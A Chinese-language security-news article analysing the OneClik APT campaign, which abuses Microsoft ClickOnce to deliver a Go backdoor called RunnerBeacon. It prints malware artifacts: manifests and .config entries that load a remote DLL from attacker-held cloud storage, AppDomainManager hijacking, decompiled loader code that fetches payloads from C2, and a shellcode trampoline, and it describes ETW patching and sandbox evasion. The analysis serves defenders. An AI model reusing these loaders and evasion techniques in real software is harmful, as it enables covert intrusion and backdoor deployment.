摘要

本報告提供了對OneClik APT攻擊攻擊的技術分析,該攻擊利用Microsoft ClickOnce技術進行惡意用途。報告詳細探討了該攻擊的複雜規避策略,包括.NET AppDomainManager hijacking和進階C2混淆技術。本報告旨在深入了解Threat actors使用的技術機制,促進對現代網路威脅的更好理解。

揭秘OneClik:ClickOnce如何淪為APT攻擊利器 | 資訊安全新聞

1. 簡介

網路威脅的不斷演變需要對高級持續性威脅(Advanced persistent threat, APT)攻擊進行持續且深入的分析。Trellix進階研究中心識別的OneClik攻擊是一個重要的例子,展示了如何將合法軟體部署技術轉用於惡意攻擊。該攻擊專門針對關鍵基礎設施部門,展示了其操作方法和規避技術的高度複雜性。與傳統惡意軟體不同,OneClik利用Microsoft ClickOnce這一合法部署技術,通過代理執行其惡意Payload,與可信任的系統程序混雜,從而規避傳統檢測機制。本報告深入探討OneClik攻擊的技術細節,剖析其感染鏈、載入器行為、規避技術以及基於Golang的後門RunnerBeacon的功能。目標是提供全面的技術概述,突顯Threat actors採用的創新方法,並為網路安全專業人士提供可行動的洞察。

2. ClickOnce濫用背景

Microsoft ClickOnce是一種部署技術,旨在簡化從遠端網頁伺服器或網路共享安裝和更新基於Windows的應用程式。雖然其設計目的是用於合法軟體部署,但其內在特性使其成為尋求隱秘程式碼執行的攻擊者的吸引目標。ClickOnce應用程式在Deployment Service( dfsvc.exe )這一可信任主機程序下啟動,使攻擊者能夠通過看似無害的管道代理執行惡意Payload。此外,ClickOnce應用程式通常以使用者級別權限執行,無需使用者帳戶控制(User Account Control, UAC)提示,為Threat actors提供了一個避免權限提升的吸引機制。在OneClik攻擊的環境中,攻擊者通過發送包含偽裝成「硬體分析」網站連結的釣魚郵件來利用這種信任。存取該網站將導致ClickOnce manifest( .application 檔案)的安靜下載(Silent download)和執行,偽裝成合法工具。一旦啟動,ClickOnce載入器通過.NET設定篡改注入惡意程式碼。

3. 感染鏈與技術分析

OneClik攻擊的感染鏈以其多階段方法和複雜的規避技術為特徵。圖1展示了整體感染流程。在 v1a 變體中,初始入侵始於一個釣魚連結,通常託管在Azure Blob Storage等雲端儲存服務上。點擊該連結後,會下載並執行一個ClickOnce應用程式manifest(例如 [victim]_Hardware_Analysis_Tool.application )。該應用程式在 dfsvc.exe 下啟動,隨後通過編譯的ClickOnce manifest(cdf-ms)hijack載入側載二進制檔案。合法二進制檔案(例如 ZSATray.exe )隨後以被篡改的 .config 檔案執行。此第二階段負責將.NET DLL和加密shellcode(例如 temp.dat fav.ico base64 blob)下載到記憶體中,最終注入基於Golang的後門,稱為 RunnerBeacon

3.1. 初始存取與載入器機制

OneClik攻擊的一個關鍵面向是其初始存取方法及後續的載入器機制。攻擊者利用ClickOnce參考遠端依賴組件(Remote dependent assemblies)進行執行的能力。原始分析中的程式碼1展示了這一點:

  1. <deployment install="false">
  2. <deploymentprovider codebase="https://[victim].blob.core.windows.net/myit/[victim]_Hardware_Analysis_Tool.application"></deploymentprovider>
  3. </deployment>
  4. <compatibleframeworks xmlns="urn:schemas-microsoft-com:clickonce.v2">
  5. <framework profile="Client" supportedruntime="4.0.30319" targetversion="4.7"></framework>
  6. <framework profile="Full" supportedruntime="4.0.30319" targetversion="4.7"></framework>
  7. </compatibleframeworks>
  8. <dependency>
  9. <dependentassembly codebase="https:// [victim].blob.core.windows.net/myit/[victim]_Hardware_Analysis_Tool" dependencytype="install" size="3446">
  10. <assemblyidentity language="neutral" name="[victim]_Hardware_Analysis_Tool.exe" processorarchitecture="amd64" publickeytoken="0000000000000000" type="win32" version="3.2.7.0"></assemblyidentity>
  11. </dependentassembly></dependency>

此設定允許ClickOnce應用程式載入並執行遠端惡意DLL。除了遠端側載外,載入器還採用.NET AppDomainManager hijacking(MITRE ATT&CK T1574.014)。該技術涉及在應用程式的 .config 檔案中嵌入 <appdomainmanagerassembly> </appdomainmanagerassembly> <appdomainmanagertype> </appdomainmanagertype> 進入點,指向本機惡意DLL(例如 BPI-MDM 變體中的 x64\\history.tlb )。程式碼2展示了這一點:

  1. <runtime>
  2. <assemblybinding xmlns="urn:schemas-microsoft-com:asm.v1">
  3. <dependentassembly>
  4. <assemblyidentity culture="neutral" name="temp" publickeytoken="3e3fe522063b67c7"></assemblyidentity>
  5. <codebase href="https:// [victim].blob.core.windows.net/myit/temp.dat" version="3.2.7.0"></codebase>
  6. </dependentassembly>
  7. </assemblybinding>
  8. <appdomainmanagerassembly value="temp, Version=3.2.7.0, Culture=neutral, PublicKeyToken=3e3fe522063b67c7"></appdomainmanagerassembly>
  9. <appdomainmanagertype value="Oreophasinae"></appdomainmanagertype>
  10. </runtime>

此方法強制共用語言執行時期(Common Language Runtime, CLR)在啟動時載入攻擊者控制的DLL,使程式碼在合法應用程式開始前執行。初始載入器 OneClikNet 是一個.NET可執行檔案,設計採用模組化方法進行設定和Payload獲取。它可以通過四種方法獲取受害者ID:從C2伺服器下載、讀取本機檔案、生成hardcoded字串的SHA256 hash,或創建特定於機器的識別碼。同樣,Payload可以通過C2下載、本機檔案讀取或嵌入二進制檔案中獲取。如程式碼3所示,這種靈活性允許攻擊者適應各種目標環境,並表明其具有高度特定目標的能力:

  1. if (id_Config_Enum == Mish.ID_Config_Enum.Zero)
  2. {
  3. text = Mish.Download_from_C2(hardcoded, portTable);
  4. }
  5. else if (id_Config_Enum == Mish.ID_Config_Enum.One)
  6. {
  7. text = Mish.Read_from_File(hardcoded, portTable);
  8. }
  9. else if (id_Config_Enum == Mish.ID_Config_Enum.Two)
  10. {
  11. text = Mish.Generate_SHA256(hardcoded);
  12. }
  13. else if (id_Config_Enum == Mish.ID_Config_Enum.Three)
  14. {
  15. text = Mish.Generate_SHA256(Environment.MachineName.ToLower() + hardcoded);
  16. }
  17. else
  18. {
  19. Mish.Terminate();
  20. }
  21. if (payload_Config_Enum == Mish.Payload_Config_Enum.Zero)
  22. {
  23. omnol = Mish.Download_from_C2(hardcoded2, portTable2);
  24. }
  25. else if (payload_Config_Enum == Mish.Payload_Config_Enum.One)
  26. {
  27. omnol = Mish.Read_from_File(hardcoded2, portTable2);
  28. }
  29. else if (payload_Config_Enum == Mish.Payload_Config_Enum.Two)
  30. {
  31. if (DuceButtsIn != HepiousDebally.String_Mapping_Decode(""))
  32. {
  33. omnol = DuceButtsIn;
  34. }
  35. else
  36. {
  37. omnol = HepiousDebally.String_Mapping_Decode("");
  38. }
  39. }
  40. else
  41. {
  42. Mish.Terminate();
  43. }

3.2. 分階段/Shellcode分析

v1a 變體中的分階段是一個緊湊的x64 shellcode,在執行時解析必要的Windows API(例如 GetProcAddress LoadLibraryA )。它包括記憶體管理函數( ZwAllocateVirtualMemory NtProtectVirtualMemory NtFreeVirtualMemory )和執行緒函數。該shellcode帶有嵌入的RC4密鑰,經過解密和zlib解壓後,將基於Go的後門啟動到目標程序中。為了獲取後續Payload,它使用hardcoded的AES-128-CBC密鑰/IV解密base64編碼的blob。加密的shellcode需要一個客制化的預處理步驟,在base64解碼前交換特定字元,如程式碼4所示:

  1. char[] array = new char[]
  2. {
  3. '!', '@', '#', '%', '^', '&amp;', '*', '(', ')', '-',
  4. };
  5. char[] array2 = new char[]
  6. {
  7. '7', '3', '0', 'E', 'r', '4', 'c', 'G'
  8. };
  9. uint num = 0U;
  10. while (((ulong)num &lt; (ulong)((long)array2.Length))
  11. {
  12. Omnol = Omnol.Replace(array2[(int)num], array[(int)num]);
  13. num += 1U;
  14. }
  15. Array.Reverse(array2);
  16. uint num2 = 0U;
  17. while (((ulong)num2 &lt; (ulong)((long)array2.Length))
  18. {
  19. Omnol = Omnol.Replace(array[(int)num2], array2[(int)num2]);
  20. num2 += 1U;
  21. }
  22. return Omnol;

隨後,通過重複大範圍數字(100萬至9999萬)進行AES解密的暴力初始向量(IV)推導。為每個數字生成SHA256 hash以創建AES IV,並嘗試解密直到與預期值(2 位元組)匹配。如程式碼5所示,這種技術避免在二進制檔案中hardcoded IV,從而防止檢測和自動設定提取。然而,在 v1a 變體中,解密密鑰和IV被發現是簡單的。

  1. for (int i = 1000000; i &lt;= 99999999; i++)
  2. {
  3. text3 = Mish.Generate_SHA256(i.ToString());
  4. text3 = text3.Substring(0, num2);
  5. byte[] bytes2 = Encoding.ASCII.GetBytes(text3);
  6. ine.AES_Key(bytes);
  7. ine.AES_IV(bytes2);
  8. array4 = ine.AES_Decrypt(array2);
  9. Array.Copy(array4, array3, num2);
  10. if (bytes2.SequenceEqual(array3))
  11. {
  12. Array.Copy(array4, num2, array2, 0, array4.Length - num2);
  13. break;
  14. }
  15. }

載入器通過利用內部CLR機制執行x64 shellcode,避免使用傳統方法如P/Invoke。這涉及創建動態模組並製作一個trampoline( jmpCode )來重新導向執行。它利用.NET的反射功能來操作函數指標,特別是利用內部方法如 System.StubHelpers.StubHelpers.GetNDirectTarget System.StubHelpers.MngdRefCustomMarshaler.CreateMarshaler 來讀寫任意記憶體位置。如程式碼6所示,這種複雜技術實現了不呼叫標準API的隱秘未管理程式碼執行。

  1. private static void Gam(object HodiumEndoric)
  2. {
  3. byte[] array = (byte[])HodiumEndoric;
  4. byte[] jmpCode = new byte[]
  5. {
  6. 73,184,35,122,228,184,179,73,129,171,72,9,219,72,135,210,72,137,219,144,144,65,byt
  7. e.MaxValue,224
  8. };
  9. /* 49:B8 8000B1CCF77F0000 | mov r8, 7FF7CCB10080 ; replaced with address of
  10. shellcode
  11. 48:09DB | or rbx,rbx
  12. 48:87D2 | xchg rdx,rdx
  13. 48:89DB | mov rbx,rbx
  14. 90 | nop
  15. 41:FFE0 | jmp r8
  16. */
  17. IntPtr functionPointerForDelegate = Marshal.GetFunctionPointerForDelegate(new
  18. Trampoline_Class.Mes());
  19. IntPtr intPtr = Trampoline_Class.DefineDynamicModule(array.Length);
  20. Trampoline_Class.CopyMemory(array, intPtr);
  21. GC.Collect();
  22. Trampoline_Class.CopyMemory(jmpCode, functionPointerForDelegate);
  23. Trampoline_Class.WriteMemory(functionPointerForDelegate + 2, intPtr);
  24. ((Trampoline_Class.Jmp)Marshal.GetDelegateForFunctionPointer(functionPointerFo
  25. rDelegate, typeof(Trampoline_Class.Jmp)))();
  26. }

3.3. 規避技術

在三個變體中,OneClik採用了多種反分析技術。在 v1a 中,載入器在記憶體中重新定位載入的模組(例如 ntdll.dll kernel32.dll )以規避檢測。它還通過將 EtwEventWrite/NtTraceEvent 函數截斷(替換為 xor rax,rax; retn )來更新事件追蹤(Event Tracing for Windows, ETW),並通過 GetConsoleWindow/ShowWindow(SW_HIDE) 隱藏其視窗。 BPI-MDM 變體引入了顯著的增強,.NET載入器啟動一個專用執行緒,定期檢查除錯器,使用如 Debugger.IsAttached CheckRemoteDebuggerPresent NtQueryInformationProcess(debugport 7) 等呼叫。 v1d 變體執行更廣泛的環境檢查,包括沙箱/虛擬機Fingerprinting。它呼叫 NetGetJoinInformation NetGetAadJoinInformation 來驗證主機是否加入了網域或Azure AD。如果這些檢查失敗,惡意軟體將終止。它還通過 GlobalMemoryStatusEx 查詢實體記憶體,如果總RAM低於8GB則中止(以避免常見的低資源分析虛擬機)。最後, v1d 在載入後刪除其自身的 .config 檔案,阻礙取證分析。

3.4. Beacon(Go後門)分析:RunnerBeacon

RunnerBeacon 是一個基於Golang實現的後門,其C2協議使用RC4加密所有流量,並使用MessagePack序列化資料。每個訊息包含一個固定頭部(明文長度和類型ID)和RC4加密的主體(MessagePack Payload)。初始beacon封包( BeaconData )攜帶系統metadata(主機名、PID、作業系統/平台標識符等)以及動態狀態欄位(例如「integrity」和「upstream」 Key)。該植入物包括反分析功能,如「obfuscate_and_sleep」routine和beacon間隔的隨機「jitter」以規避檢測。通訊極具多樣性:RunnerBeacon可以通過HTTP(s)、WebSockets、原始TCP,甚至SMB named-pipes 進行通訊。值得注意的是,反編譯程式碼導入了 vmihailenco/msgpack 程式庫用於反序列化,以及 gorilla/websocket 用於WebSocket處理。圖3顯示了RC4加密前的初始明文MessagePacked資料的hexdump。

4. 結論

OneClik APT攻擊展示了網路威脅的複雜演變,顯示了攻擊者如何將Microsoft ClickOnce等合法技術轉用於高度規避和有效的攻擊。該攻擊的模組化設計、進階載入器機制和多樣化的規避技術突顯了傳統網路安全防禦的重大挑戰。使用.NET AppDomainManager hijacking、動態Payload獲取和強大的反分析措施,強調了進階行為分析和威脅情報在檢測和緩解此類威脅中的必要性。此外,基於Golang的RunnerBeacon後門,憑藉其多樣化的通訊協議和反取證能力,對目標組織構成持久威脅。了解這些技術細節對於開發彈性防禦策略和增強整體網路安全態勢以應對類似的高級持續性威脅至關重要。

Copyright © 2025 版權所有 翊天科技有限公司